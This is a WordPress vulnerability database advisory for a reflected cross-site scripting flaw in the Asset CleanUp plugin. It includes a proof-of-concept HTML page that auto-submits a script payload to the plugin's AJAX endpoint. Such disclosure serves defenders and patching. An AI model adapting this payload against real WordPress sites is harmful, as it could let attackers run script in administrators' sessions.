WordPress Plugin Vulnerabilities
Asset CleanUp < 1.3.8.5 - Reflected Cross-Site Scripting via AJAX Action
Description
The plugin does not sanitise and escape POSted parameters sent to the wpassetcleanup_fetch_active_plugins_icons AJAX action (available to admin users), leading to a Reflected Cross-Site Scripting issue
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
<input type="hidden" name="action" value="wpassetcleanup_fetch_active_plugins_icons" />
<input type="hidden" name="xxx" value="<script>alert(/XSS/)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var form1 = document.getElementById('hack');
form1.submit();
</script>
</html>
Affects Plugins
Fixed in 1.3.8.5 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-01-03 (about 2 years ago)
Added
2022-01-03 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)
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